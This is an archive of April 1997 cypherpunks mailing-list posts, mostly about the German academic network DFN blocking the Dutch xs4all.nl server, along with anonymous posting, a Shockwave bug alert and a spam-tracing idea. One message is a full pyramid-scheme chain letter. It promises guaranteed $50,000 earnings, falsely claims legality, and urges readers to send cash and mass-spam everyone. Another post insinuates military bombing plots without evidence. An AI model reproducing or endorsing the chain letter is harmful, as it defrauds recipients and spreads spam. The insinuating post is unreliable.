portion of the content on their site they are being penalized

The folks at the mag and xs4all are looking for people willing to put 
up mirror sites to thwart the DFN's efforts.

Dr Klaus-Eckart Maass is apparently running point for the 
DFN-fielding calls and dealing with the press- here are a few 
mail to:links and URLs to add to the phone number already provided.



DFN pressrelease 	- http://www.dfn.de/dfn/sperrung.html 
Dr. Klaus-Eckart Maass  - http://rigel.dfn.de/adressen/maass.html 
Managing Director DFN   - maass@dfn.d400.de 
DFN website             - http://www.dfn.de





From:          harka@nycmetro.com
Date:          Wed, 16 Apr 1997 02:17:12 -0500 
Subject:       xs4all.nl
To:            cypherpunks@toad.com

-----BEGIN PGP SIGNED MESSAGE-----

The DFN - science network in Germany has blocked access to the
dutch xs4all.nl server after an order of the Bundeskriminalamt
(BKA), the german FBI.

Users of DFN have confirmed that today. If somebody wants to follow
up on it, the public relation office of DFN can be reached at (49)
030 - 884-29942 (Miss Quandel).

Ciao

Harka

-----BEGIN PGP SIGNATURE-----
Version: 2.6.2

iQEVAgUBM1MgGTltEBIEF0MBAQHUkAf+LUKqgm6dz7jhKQtrJPZsHk6PSZyGnK43
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sdmKG5u9kDt3fagWxglrw3xTKeff9orwUdUUVJfWG2mmNxtG3DkDCIxlEIRM1sP+
ML3N1KayyRkZLwBVu/kpI+8I3dswYTApTs9GnBTRGssdXbitBWTBsXvRREPpTufO
WEAXdwvZQf8Cr4PGco/dtvyiVE+wZhOUblpcpEqBVkLJp+pmRxxg8GcUu7FEANKi
FqehcaPpQnwsHmY9ujFEUJaiwa3XxVDUBRVt+FHAO3/JkmqkL12dpA==
=8wdj
-----END PGP SIGNATURE-----


If encryption is outlawed, only outlaws will have encryption...


**********************************************************************
Charles Anthony
canthony@info-nation.com
http://www.info-nation.com

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Version: 2.6.3a

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b2g=
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-----END PGP PUBLIC KEY BLOCK-----





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Wed, 16 Apr 1997 18:03:06 -0700 (PDT)
To: cypherpunks@toad.com
Subject: Re: Digi-Cash IPO! $1.60 per share ( remove )
In-Reply-To: <199704160443.XAA02051@manifold.algebra.com>
Message-ID: <Jc305D7w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain


ichudov@algebra.com (Igor Chudov @ home) writes:

> i think that advertiser funded digital cash was first described
> by dr dimitri vulis kotm, in his recent post to cypherpunks.
>
> too bad he did not patent it.

Patents and copyrights violate true free speech.

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Igor Chudov @ home" <ichudov@algebra.com>
Date: Wed, 16 Apr 1997 18:08:21 -0700 (PDT)
To: news.groups@news.news.demon.net
Subject: Re: 2nd RFD: sci.chem.organic.synthesis moderated
Message-ID: <199704170104.UAA11294@manifold.algebra.com>
MIME-Version: 1.0
Content-Type: text/plain


Koen Van Aken (cheakv@panther.gsu.edu) wrote in <861165888.2842@isc.org>:
* 
* At the end of each article, a full name and e-mail address is
* mandatory. Listing of position and association is optional but
* strongly encouraged.

... snip ...

* CHARTER: sci.chem.organic.synthesis
 
 
* This proposal is pro moderation to filter out unwanted (see not
* permitted postings) and 'anonymous' (see signature policy) messages.
* Although there are some disadvantages associated with moderated
* groups - some people compare it with censorship and it slows down
* the discussion - , sci.* groups have been plagued before with off-
* topic discussions which eventually turned users away.

I fail to see any reason why you need to filter out "anonymous" email.
I think that restricting anonymous email goes a long way against ability
to discuss important issues in general. I find it overly restrictive and 
unwarranted.

Your explanation as to why you find it necessary to exclude anonymous
postings from your particular newsgroup will be much appreciated.

igor




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: harka@nycmetro.com
Date: Wed, 16 Apr 1997 17:17:43 -0700 (PDT)
To: cypherpunks@toad.com
Subject: Shocked e-mail
Message-ID: <TCPSMTP.17.4.16.-12.10.38.2780269260.1606713@nycmetro.com>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----

 In> SHOCKWAVE Security BUG EXPOSES E-MAIL
 In> -----------------------------------------
 In> Comet Hale-Bopp must be a portent of Web security disasters. This site
 In> details the next one - if you are running Netscape with the insanely
 In> popular Shockwave plug-in on any platform, the bad guys can read your
 In> e-mail folders. In addition, no matter which browser you are running,
 In> your corporate intranet could be vulnerable even if located behind
 In> a firewall. Fortunately, a security fis available.
 In> Problem:-http://www.webcomics.com/shockwave/
 In> Fix:-http://www.macromedia.com/shockzone/info/security.html
 In> Enjoy it, See you soon.
 In> Arun Tripathi


Ciao

Harka

/*************************************************************/
/* This user supports FREE SPEECH ONLINE     ...more info at */
/* and PRIVATE ONLINE COMMUNICATIONS! -> http://www.epic.org */
/* E-mail: harka(at)nycmetro.com (PGP-encrypted mail pref'd) */
/* PGP public key available upon request.  [KeyID: 04174301] */
/* F-print: FD E4 F8 6D C1 6A 44 F5  28 9C 40 6E B8 94 78 E8 */
/*<<<<<<<<<<<<<<<<<<<<<<<<<<<<<>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>*/
/* May there be peace in this world, may all anger dissolve  */
/* and may all living beings find the way to happiness...    */
/*************************************************************/
... Link in support of Free Speech: http://www.xs4all.nl/~radikal/

-----BEGIN PGP SIGNATURE-----
Version: 2.6.2

iQEVAgUBM1VuJjltEBIEF0MBAQFt3gf/acKyaf813olMN334Q/83sWpbIoOjXWWJ
q5PkyqFgAI2oTyUUXQIX/KugWxXhq0uyjJq+a9fLn9RKJQ3eVcm+Lccn+1k/EmSv
hC68LfS+YMS+cGnU/VA9GYlk94Sf/PcQA5fk3wI21DUd4xjxR1EnZ+1TW8U1NbcU
3j3/T5MEFP4FymgACozCk0lY8MMBEtGcReYHJICHP4/tgW8z18/7lzegl0wNP0F6
eS1bVwf7ub+sIsnXvD0Mqvyb1f0KUFqJOBbqKA6LJtm7dcHAIWzpl/k05Ekl5xRc
1YBnkFbjQspsBSsULwVWS7eEQ43IpU0UC21Qwp5UZ7DYlMad7bjUQA==
=IHkF
-----END PGP SIGNATURE-----


If encryption is outlawed, only outlaws will have encryption...






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Wed, 16 Apr 1997 19:50:07 -0700 (PDT)
To: cypherpunks@toad.com
Subject: Re: Neo-Nazis indict Compuserve official
In-Reply-To: <v03007803af7b30567f9f@[207.167.93.63]>
Message-ID: <wX605D9w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain


"Timothy C. May" <tcmay@got.net> writes:
> increased monitoring of lists like this, Germany may place my name on a
> list of those to be arrested if they enter Germany. Or, as the recent case
> of a publisher of Neo-Nazi materials in the U.S. showed, for detention and
> subsequent extradition to Germany upon entry into any European Union
> nation. In fact, I'll bet that Black Unicorn is on such a list; if they can
> figure out what his real name is, and if he strays into EU territory....))

Yikes!  We better not post it to this mailing list, then.

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: tank <tank@xs4all.nl>
Date: Wed, 16 Apr 1997 12:44:16 -0700 (PDT)
To: tank@xs4all.nl
Subject: Xs4all website censored by German academic network
Message-ID: <199704161936.VAA04978@xs1.xs4all.nl>
MIME-Version: 1.0
Content-Type: text/plain




GERMAN NATIONAL ACADEMIC PROVIDER BLOCKS XS4ALL WEBSITE IN THE NETHERLANDS


Amsterdam, 16 april 1997


Since April 11th 1997, the dutch XS4ALL website www.xs4all.nl has been
censored by Deutsches Forschungsnetz, the German academic Internet
provider. This was confirmed today by Dr. Klaus-Eckart Maass, managing
director of Deutsches Forschungsnetz in a press release.
(http://www.dfn.de/dfn/sperrung.html).

An Xs4all subscriber (http://www.xs4all.nl/~radikal) publishes a
magazine which is considered to be illegal in Germany. The German State
Prosecutor has 'informed' Deutsches Forschungsnetz about the presence
of this magazine, which has resulted in the censorship of the entire
XS4ALL website.

Of the 6000 homepages on the XS4ALL, only one of those contains the
Radikal magazine. Other XS4ALL homepages include artists, research
materials, shops, activists and other information sources like the
formerly censored Serbian radiostation B92
(http://www.xs4all.nl/~opennet) and its 24hr/day radiobroadcasts on
Internet. All these 6000 homepages are now unavailable to the German
academic Internet community.

The decision to censor the xs4all webserver because of the radikal
publication will probably cause and this censored magazine to become
more popular on the Net. Censoring the Internet has, in most cases,
proved to be counterproductive as many Internet users mirror the
information on to their own sites and start to distribute it.

In September 1996, a number of German providers organised a similar
block of the XS4ALL website after complaints by the State Prosecutor.
This block was lifted after four weeks, but resulted in a vast mirror
network. Today, there are still more than 40 mirror websites of the
radikal home page around the world. These mirror-sites were placed on
the Net more than six months ago. Why does Deutsches Forschungsnetz
only block the xs4all webserver when the information on this website is
known to have been mirrored all around the world for at least six
months? XS4ALL intends to send Mr. Klaus-Eckart Maass a message
informing him about these mirrorsites. In principle he should then
be obliged to block these other sites where radikal nr. 154 can also
be found

XS4ALL has not yet received any official communication from the German
justice department, nor from the Dutch justice department. Our policy
is that as a provider we are not in the position to judge whether this
magazine is illegal in the Netherlands, therefore we do not interfere
with the liberty of speech of our user. If there's any doubt about the
legality of the publication in Holland, a Dutch court of law would be
the proper place to remove these doubts. Therefore our user would have
to be tried by the Dutch justice-department.


Relevant information:

Radikal magazine        - http://www.xs4all.nl/~radikal/index.html
Radikal mirrorlist      - http://www.xs4all.nl/~tank/radikal/mirror.html 
DFN pressrelease 	- http://www.dfn.de/dfn/sperrung.html 
Dr. Klaus-Eckart Maass  - http://rigel.dfn.de/adressen/maass.html 
Managing Director DFN   - maass@dfn.d400.de 
DFN website             - http://www.dfn.de


-- 
XS4ALL Internet BV - Felipe Rodriquez-Svensson - finger felipe@xs4all.nl for 
Managing Director  -                           - pub pgp-key 1024/A07C02F9 








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@huge.cajones.com (Huge Cajones Remailer)
Date: Thu, 17 Apr 1997 03:50:05 -0700 (PDT)
To: cypherpunks@toad.com
Subject: Re: Neo-Nazis indict Compuserve official
Message-ID: <199704171050.DAA19976@fat.doobie.com>
MIME-Version: 1.0
Content-Type: text/plain


Alan Olsen wrote:
> 
> My understanding is that they were upset about Compu$erve carrying a game
> containing such images.  (The quote seems to be missing a paragraph.)  The
> game sounds suspiciously like Castle Wolfenstien 3D (i.e. "Doom 0".) to me.

"Those who do not understand Doom are history and repeat the level."
Six-Inch Nails






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: null@myemail.net
Date: Thu, 17 Apr 1997 01:55:18 -0700 (PDT)
To: cypherpunks@toad.com
Subject: InterNet Free Terra
Message-ID: <08550355601336@MyEmail.net>
MIME-Version: 1.0
Content-Type: text/plain





  A Web page named "InterNet Free Terra" can be accessed at the URL:
http://www3.sk.sympatico.ca/carljohn/

  It has been set up in order to provide URL pointers to Mirrors of
Web sites which have been subjected to censorship by governmental
authorities.

  Its first category is "InterNet Free Europe" and the first entry
is a list of Mirror sites for the Radikal Web site.

  Anyone who wishes to have Mirror site pointers added for other 
government censored Web sites may send mailto:carljohn@sk.sympatico.ca 

  Those submitting Mirror site pointers may want to include 
pointers to information and/or press releases regarding the
date and details of the censorship action, as there are plans
to include access to these details, as well as to the pointers
themselves. 



************************************************************************
 This Anonymous email has been relayed by http://www.MyEmail.net/
 MyEmail.Net is a free anonymous mailing service. No records indicating
 the identity of person(s) who originated this message are retrieved
 electronically, or as a requirement to submit. Your email address can
 be blocked to prevent further contact from this service, please refer
 to the URL above for instructions on how to do so.
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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Rose <rose@lords.com>
Date: Thu, 17 Apr 1997 04:16:23 -0700 (PDT)
To: "cypherpunks@toad.com>
Subject: No Subject
Message-ID: <199704171115.EAA00880@cascade.pacificrim.net>
MIME-Version: 1.0
Content-Type: text/plain





****************************************************************************
*This message provided by BULK E-MAIL. If you would like to be removed from*
*further mailings, please return this message with "remove in the subject  *
*line. This service will not contact you again. Thank You For Your Patience*
****************************************************************************

Dear friend,

The following income opportunity is one you may be interested in taking 
look at.  It can be started with VERY MINIMAL outlay and the income return
is TREMENDOUS!

<>  <>  <>  <>  <>  <>  <>  <>  <>  <>  <>  <>  <>  <>  <>  <>
You are about to make at least $50,000 - In less than 90 days
Read the enclosed program...THEN READ IT AGAIN!...
<>  <>  <>  <>  <>  <>  <>  <>  <>  <>  <>  <>  <>  <>  <>  <>

The enclosed information is something I almost let slip through my
fingers.  Fortunately, sometime later I re-read everything and gave
some thought and study to it.

My name is Christopher Erickson.  Two years ago, the corporation I
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In mid-December, I received this program via email.  Six months prior
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But like I was saying, in December of '95 I received this program.  I
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A couple of good programs to help do this are Ready Aim Fire, an email
extracting program @ http://microsyssolutions.com/raf/  and  Cyberpromotions
who has a pop3 ISP account specifically for direct emailing at
http://www.cyberpromo.com

In less than one week, I was starting to receive orders for REPORT #1.
By January 13th, I had received 26 orders for REPORT #1.  When you read
the GUARANTEE in the program, you will see that "YOU MUST RECEIVE 15 
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PS  Do you have any idea what 11,700 $5 bills ($58,000) look like piled
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"THREW IT AWAY"

"I  had  received  this program before.  I  threw  it away, but later
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					Dawn W., Evansville, IN

"NO FREE LUNCH"

"My late father always told me, 'remember, Alan, there is no free lunch
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error and a somewhat slow frustrating start, I finally figured it out.
The program works very well, I just had to find the right target group
of people to email it to.  So far this year, I have made over $63,000
using this program.  I know my dad would have been very proud of me."

					Alan B., Philadelphia, PA

A PERSONAL NOTE FROM THE ORIGINATOR OF THIS PROGRAM

By the time you have read the enclosed information and looked over the
enclosed program and reports, you should have concluded that such a
program,  and  one that is legal,  could not have been created by an
amateur.

Let me tell you a little about myself.  I had a profitable business for
ten years.  Then in 1979 my business began falling off.  I was doing
the same things that were previously successful for me, but it wasn't
working.  Finally, I figured it out.  It wasn't me, it was the economy.
Inflation and recession had replaced the stable economy that had been
with us since 1945.  I don't have to tell you what happened to the
unemployment rate...because many of you know from first hand experience.
There were more failures and bankruptcies than ever before.

The middle class was vanishing.  Those who knew what they were doing
invested wisely and moved up.  Those who did not, including those who
never had anything to save or invest, were moving down into the ranks
of the poor.  As the saying goes, "THE RICH GET RICHER AND THE POOR GET
POORER."  The traditional methods of making money will never allow you
to "move up" or "get rich", inflation will see to that.

You have just received information that can give you financial freedom
for the rest of your life, with "NO RISK" and "JUST A LITTLE BIT OF
EFFORT."  You can make more money in the next few months than you have
ever imagined.

I should also point out that I will not see a penny of your money, nor
anyone else who has provided a testimonial for this program.  I have
already made over FOUR MILLION DOLLARS!  I have retired from the
program after sending out over 16,000 programs.  Now I have several
offices which market this and several other programs here in the US and
overseas.  By the Spring, we wish to market the 'Internet' by a
partnership with AMERICA ON LINE.

Follow the program EXACTLY AS INSTRUCTED.  Do not change it in any way.
It works exceedingly well as it is now.  Remember to email a copy of
this exciting program to everyone that you can think of.  One of the
people you send this to may send out 50,000...and your name will be on
every one of them!.  Remember though, the more you send out, the more
potential customers you will reach.

So my friend, I have given you the ideas, information, materials and
opportunity to become financially independent, IT IS UP TO YOU NOW!

"THINK ABOUT IT"

Before you delete this program from your mailbox, as I almost did, take
a little time to read it and REALLY THINK ABOUT IT.  Get a pencil and
figure out what could happen when YOU participate.  Figure out the
worst possible response and no matter how you calculate it, you will
still make a lot of money!  Definitely get back what you invested.  Any
doubts you have will vanish when your first orders come in.  IT WORKS!

					Paul Johnson, Raleigh, NC

HERE'S HOW THIS AMAZING PROGRAM WILL MAKE YOU $$$$$$

Let's say that you decide to start small, just to see how it goes, and
we'll assume you and all those involved send out 2,000 programs each.
Let's also assume that the mailing receives a .5% response.  Using a
good list the response could be much better.  Also many people will
send out hundreds of thousands of programs instead of 2,000.  But
continuing with this example, you send out only 2,000 programs.  With a
5% response, that is only 10 orders for REPORT #1.  Those 10 people
respond by sending out 2,000 programs each for a total of 20,000.  Out
of those .5%, 100 people respond and order REPORT #2.  Those 100 mail
out 2,000 programs each for a total of 200,000.  The .5% response to
that is 1,000 orders for REPORT #3.  Those 1,000 send out 2,000
programs each for a 2,000,000 total.  The .5% response to that is
10,000 orders for REPORT #4.  That's 10,000 five dollar bills for you.
CASH!!!!  Your total income in this example is $50 + $500 + $5000 +
$50,000 for a total of $55,550!!!!

REMEMBER FRIEND, THIS IS ASSUMING 1,990 OUT OF 2,000 PEOPLE YOU 
MAIL TO WILL DO ABSOLUTELY NOTHING... AND TRASH THIS PROGRAM!  
DARE TO THINK FOR A MOMENT WHAT WOULD HAPPEN IF EVERYONE 
OR HALF SENT OUT 100,000 PROGRAMS INSTEAD OF ONLY 2,000.  Believe 
me, many people will do that and more!  By the way, your cost to participate 
in this is practically nothing.  You obviously already have an internet
connection 
and email is FREE!!!  REPORT#3 will show you the best methods for bulk
emailing
and purchasing email lists.

THIS IS A LEGITIMATE, LEGAL, MONEY MAKING OPPORTUNITY.  It does not
require you to come in contact with people, do any hard work, and best
of all, you never have to leave the house except to get the mail.  If
you believe that someday you'll get that big break that you've been
waiting for, THIS IS IT!  Simply follow the instructions, and your
dream will come true.  This multi-level email order marketing program
works perfectly...100% EVERY TIME.  Email is the sales tool of the
future.  Take advantage of this non-commercialized method of
advertising NOW!!  The longer you wait, the more people will be doing
business using email.  Get your piece of this action!!

MULTI-LEVEL MARKETING (MLM) has finally gained respectability.  It is
being taught in the Harvard Business School, and both Stanford Research
and The Wall Street Journal have stated that between 50% and 65% of all
goods and services will be sold throughout Multi-level Methods by the
mid to late 1990's.  This is a Multi-Billion Dollar industry and of the
500,000 millionaires in the US, 20% (100,000) made their fortune in the
last several years in MLM.  Moreover, statistics show 45 people become
millionaires everyday through Multi-Level Marketing.

INSTRUCTIONS

We at Erris Mail Order Marketing Business, have a method of raising
capital that REALLY WORKS 100% EVERY TIME.  I am sure that you could
use $50,000 to $125,000 in the next 20 to 90 days.  Before you say
"Bull", please read the program carefully.

This is not a chain letter, but a perfectly legal money making
opportunity.  Basically, this is what we do:  As with all multi-level
business, we build our business by recruiting new partners and selling
our products.  Every state in the USA allows you to recruit new multi-
level business partners, and we offer a product for EVERY dollar sent.
YOUR ORDERS COME AND ARE FILLED THROUGH THE MAIL, so you are not
involved in personal selling.  You do it privately in your own home,
store or office.

This is the GREATEST Multi-level Mail Order Marketing anywhere:

Step (1)   Order all four 4 REPORTS listed by NAME AND NUMBER.  Do this
           by ordering the REPORT from each of the four 4 names listed
           on the next page.  For each REPORT, send $5 CASH and a SELF-
           ADDRESSED, STAMPED envelope  (BUSINESS SIZE #10) to the
           person listed for the SPECIFIC REPORT.  International orders
           should also include $1 extra for postage.  It is essential
           that you specify the NAME and NUMBER of the report requested
           to the person you are ordering from.  You will need ALL FOUR
           4 REPORTS because you will be REPRINTING and RESELLING them.
           DO NOT alter the names or sequence other than what the
           instructions say.  IMPORTANT:  Always provide same-day
           service on all orders.

Step (2)   Replace  the  name  and  address  under  REPORT #1  with
           yours,  moving the one that was there down to REPORT #2.
           Drop  the  name and address under REPORT #2 to REPORT #3,
           moving the one that was there to REPORT #4.  The name and
           address that was under REPORT #4 is dropped from the list
           and this party  is  no doubt on the way to the bank.  When
           doing   this,   make   certain   you  type  the  names  and
           addresses ACCURATELY!  DO NOT MIX UP MOVING PRODUCT/REPORT
           POSITIONS!!!

Step (3)   Having made the required changes in the NAME list, save it
           as a text (.txt) file in it's own directory to be used with
           whatever email program you like.  Again, REPORT #3 will tell
           you the best methods of bulk emailing and acquiring email
           lists.

Step (4)   Email a copy of the entire program (all of this is very
           important) to everyone whose address you can get your hands
           on. Start with friends and relatives since you can encourage
           them to take  advantage of this  fabulous  money-making
           opportunity.  That's what I did.  And they love me now, more
           than ever.  Then, email to anyone and everyone!  Use your
           imagination!  You can get email addresses from companies on
           the internet who specialize in email mailing lists.  These
           are very cheap, 100,000 addresses for around $35.00.

IMPORTANT:  You won't get a good response if you use an old list, so
always request a FRESH, NEW list. You will find out where to purchase
these lists when you order the four 4 REPORTS.

ALWAYS PROVIDE SAME-DAY SERVICE ON ALL ORDERS!!!

REQUIRED REPORTS

***Order each REPORT by NUMBER and NAME***

ALWAYS SEND A SELF-ADDRESSED, STAMPED ENVELOPE
AND $5 CASH FOR EACH ORDER REQUESTING THE
SPECIFIC REPORT BY NAME AND NUMBER

________________________________________________________
REPORT #1
"HOW TO MAKE $250,000 THROUGH MULTI-LEVEL SALES"

ORDER REPORT #1 FROM:

RWD&CO
P.O. Box 2225
Friday Harbor, WA   98250

________________________________________________________
REPORT #2
"MAJOR CORPORATIONS AND MULTI-LEVEL SALES"

ORDER REPORT #2 FROM:

M.S.DEWLES DISTRIBUTOR	
P.O.BOX 29322
PARMA, OHIO 44129



________________________________________________________
REPORT#3
"SOURCES FOR THE BEST MAILING LISTS"

ORDER REPORT #3 FROM:

DSN
7154 West State  #298
Boise, ID  83703


___________________________________________
REPORT #4
"EVALUATING MULTI-LEVEL SALES PLANS"

ORDER REPORT #4 FROM:

WCH MARKETING
6225 RIPTIDE DRIVE
WILMINGTON, N.C. 28403


________________________________________________________

CONCLUSION

.I am enjoying my fortune that I made by sending out this program.
You too, will be making money in 20 to 90 days, if you follow the
SIMPLE STEPS outlined in this mailing.

To be financially independent is to be FREE.  Free to make financial
decisions as never before.  Go into business, get into investments,

retire or take a vacation.  No longer will a lack of money hold you
back.

However, very few people reach financial independence, because when
opportunity knocks, they choose to ignore it.  It is much easier to say
"NO" than "YES", and this is the question that you must answer.  Will
YOU ignore this amazing opportunity or will you take advantage of it?
If you do nothing, you have indeed missed something and nothing will
change.  Please re-read this material, this is a special opportunity.
If you have any questions, please feel free to write to the sender of
this information.  You will get a prompt and informative reply.

My method is simple.  I sell thousands of people a product for $5 that
costs me pennies to produce and email.  I should also point out that
this program is legal and everyone who participates WILL make money.
This is not a chain letter or pyramid scam.  At times you have probably
received chain letters, asking you to send money, on faith, but getting
NOTHING in return, NO product what-so-ever!  Not only are chain letters
illegal, but the risk of someone breaking the chain makes them quite
unattractive.

You are offering a legitimate product to your people.  After they
purchase the product from you, they reproduce more and resell them.
It's simple free enterprise.  As you learned from the enclosed material,
the PRODUCT is a series of four 4 FINANCIAL AND BUSINESS REPORTS.  The
information contained in these REPORTS will not only help you in making
your participation in this program more rewarding, but will be useful
to you in any other business decisions you make in the years ahead.
You are also buying the rights to reprint all of the REPORTS, which
will be ordered from you by those to whom you mail this program.  The
concise one and two page REPORTS you will be buying can easily be
reproduced at a local copy center for a cost off about 3 cents a copy.
Best wishes with the program and Good Luck!

"IT WAS TRULY AMAZING"

"Not being the gambling type, it took me several weeks to make up my
mind to participate in this program.  But conservative as I am, I
decided that the initial investment was so little that there was no way
that I could not get enough orders to at least get my money back.  BOY,
was I ever surprised when I found my medium sized post office box
crammed with orders!  I will make more money this year than any ten
years of my life before."

					Mary Riceland, Lansing, MI

TIPS FOR SUCCESS

Send for your four 4 REPORTS immediately so you will have them when the
orders start coming in.  When you receive a $5 order, you MUST send out
the product/service to comply with US Postal and Lottery laws.  Title
18 Sections 1302 and 1341 specifically state that:  "A PRODUCT OR
SERVICE MUST BE EXCHANGED FOR MONEY RECEIVED."

WHILE YOU WAIT FOR THE REPORTS TO ARRIVE:

1.	Name your new company. You can use your own name if you desire.

2.	Get a post office box (preferred).

3.	Edit the names and addresses on the program. You must remember,
        your name and address go next to REPORT #1 and the others all
        move down one, with the fourth one being bumped OFF the list.

4.	Obtain as many email addresses as possible to send until you
        receive the information on mailing list companies in REPORT #3.

5.	Decide on the number of programs you intend to send out.  The
        more you send, and the quicker you send them, the more money
        you will make.

6.	After mailing the programs, get ready to fill the orders.

7.	Copy the four 4 REPORTS so you are able to sent them out as
        soon as you receive an order. IMPORTANT: ALWAYS PROVIDE
        SAME-DAY SERVICE ON ORDERS YOU RECEIVE!

8.	Make certain the letter and reports are neat and legible.

YOUR GUARANTEE

The check point which GUARANTEES your success is simply this:  you must
receive 15 to 20 orders for REPORT #1.  This is a must!!!  If you don't
within two weeks, email out more programs until you do.  Then a couple
of weeks later you should receive at least 100 orders for REPORT #2, if
you don't, send out more programs until you do.  Once you have received
100 or more orders for REPORT #2, (take a deep breath) you can sit back
and  relax,  because  YOU  ARE  GOING TO  MAKE  AT  LEAST  $50,000.
Mathematically  it  is  a  proven  guarantee.   Of  those  who  have
participated in the program and reached the above GUARANTEES-ALL have
reached their $50,000 goal.  Also, remember, every time your name is
moved down the list you are in front of a different REPORT, so you can
keep track of your program by knowing what people are ordering from you.
IT'S THAT EASY, REALLY, IT IS!!!

REMEMBER:
"HE WHO DARES NOTHING, NEED NOT HOPE FOR ANYTHING."
"INVEST A LITTLE TIME, ENERGY AND MONEY NOW OR
SEARCH FOR IT FOR THE REST OF YOUR LIFE."


 
This message was sent using an evaluation version of WWMail
WWMail is available at: http://wizardware.com





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Robert Hettinga <rah@shipwright.com>
Date: Thu, 17 Apr 1997 07:31:50 -0700 (PDT)
To: cypherpunks@toad.com
Subject: NIST Joins CommerceNet...
Message-ID: <v03020902af7bb5e9ee5c@[139.167.130.246]>
MIME-Version: 1.0
Content-Type: text/plain


Ah...

Don't you just love sunshine laws?

Notice they effectively call CommerceNet "the only" "consortium which
develops and maintains an Internet-based infrastructure for electronic
commerce".

Cheers,
Bob Hettinga

--- begin forwarded text


Date: Wed, 16 Apr 1997 06:41:48 -0500 (CDT)
Mime-Version: 1.0
To: <other people>, rah@shipwright.com
From: Somebody
Subject:

[Commerce Business Daily: Posted April 15, 1997]
>From the Commerce Business Daily Online via GPO Access
[cbdnet.access.gpo.gov]

PART: U.S. GOVERNMENT PROCUREMENTS
SUBPART: SERVICES
CLASSCOD: D--Information Technology Services, including Telecommunication
  Services
OFFADD: National Institute of Standards & Technology, Acquisition
  & Assistance Div., Bldg. 301, Rm B117, Gaithersburg, MD 20899
SUBJECT: D--MEMBERSHIP IN A CONSORTIUM WHOSE MISSION IS TO CONDUCT
  GROWTH IN INTERNET-BASED ELECTRONIC COMMERCE.
SOL 53SBNB760110
DUE 043097
POC Trena N. Bercaw (301) 975-6324// Fax (301) 963-7732
DESC: The National Institute of Standards and Technology (NIST)
  has a requirement to become a member of an existing consortium
  which develops and maintains an Internet-based infrastructure
  for electronic commerce. NIST requires interaction between
  industry leaders, in the research and development of a next
  generation infrastructure for electronic commerce. The consortium
  shall be able to accelerate Internet-based electronic commerce
  by identifying and working to resolve key industry issues,
  providing a global, multi-industry forum for collaboration,
  and serving as an advocate through public policy and education.
  This membership shall be for a period of one (1) year. It is
  the intent of the Government to negotiate with CommerceNet,
  of Palo Alto, California, under 41 U.S.C. 253 (c)(1), as the
  only responsible source able to fulfil the requirement of this
  agency. No solicitation package is available. Inquiries may
  be faxed to (301) 963-7732. See Numbered Note 22 and 26.
LINKURL: http://www.nist.gov/admin/od/contract/contract.htm
LINKDESC: NIST Contracts Homepage
EMAILADD: Contract@nist.gov
EMAILDESC: NIST Contracts Office
CITE: (W-105 SN062439)


All rights reserved.

--- end forwarded text



-----------------
Robert Hettinga (rah@shipwright.com), Philodox
e$, 44 Farquhar Street, Boston, MA 02131 USA
Lesley Stahl: "You mean *anyone* can set up a web site and compete
               with the New York Times?"
Andrew Kantor: "Yes."  Stahl:  "Isn't that dangerous?"
The e$ Home Page: http://www.shipwright.com/







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: lucifer@dhp.com (lucifer Anonymous Remailer)
Date: Thu, 17 Apr 1997 04:51:58 -0700 (PDT)
To: cypherpunks@toad.com
Subject: Son of Flubber
Message-ID: <199704171151.HAA16334@dhp.com>
MIME-Version: 1.0
Content-Type: text/plain


>From wired.com newstory on McVeigh:

  Another juror said she thought the building that was bombed was
  the "Fred MacMurray Building." Fred MacMurray was an actor
  perhaps best known for his role as a father in the 1960s TV series
  "My Three Sons." 

  And Capt. Buttons thought his A-10 could reach Denver because
it was running on Flubber.

  I wonder if perhaps Capt. Buttons wasn't perhaps involved in an
AP scheme wherein various military personnel can win big bucks by
guessing the date of the bombing of the Federal Building in Denver.

  Oh, I forgot...he just headed for Denver with a planeload of 
bombs for no apparent reason.
  We wouldn't want to jump to any conclusions just because it was
at the beginning of the trial of a military terrorist.

  It's not like the military harbors militaristic types, or anything.
It's not like anyone hosting Jim Bell's "Assassination Politics" on
their system has close ties to the Davis-Monathan airbase in Tucson.
It's not like Dave Foreman of Earth First was involved in monkey-
wrenching with airmen in Tucson. It's not like airmen from Tucson
trade landmines for dope in Arivaca, south of Tucson.
  Nope, they're all too busy eating mom's apple pie and singing
"God Bless America" to do any of those things.

  And when one of them goes off on a bombing run and heads for
the site of the Oklahoma City bombing trial, well, it's just
one of life's little mysteries.

  Of course, the government isn't nervous about the loyalty of
their own military personnel. That certainly couldn't have 
anything to do with them clamping down so hard on the release
of details of the trial.

TruthBomber





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: VaX#n8 <vax@linkdead.paranoia.com>
Date: Thu, 17 Apr 1997 08:31:39 -0700 (PDT)
To: cypherpunks@toad.com
Subject: [privacy] a junk email tracer [crypto]
Message-ID: <199704171523.KAA07392@linkdead.paranoia.com>
MIME-Version: 1.0
Content-Type: text/plain


Here's a little idea that I'll throw out to the sharks.
You've probably heard of people who alter their name/address slightly
when applying for credit cards, etc., so that they know when their name
has been sold on a list, and by whom.
Well I say, "why not with email?"
Consider a hack to sendmail (or whatever MDA you have) which
attempts to locate the email address given in a list of distributed
email addresses.  For example,

 vax01.na    put on web page
 vaxu53lr    sent to correspondent foo@bar.com
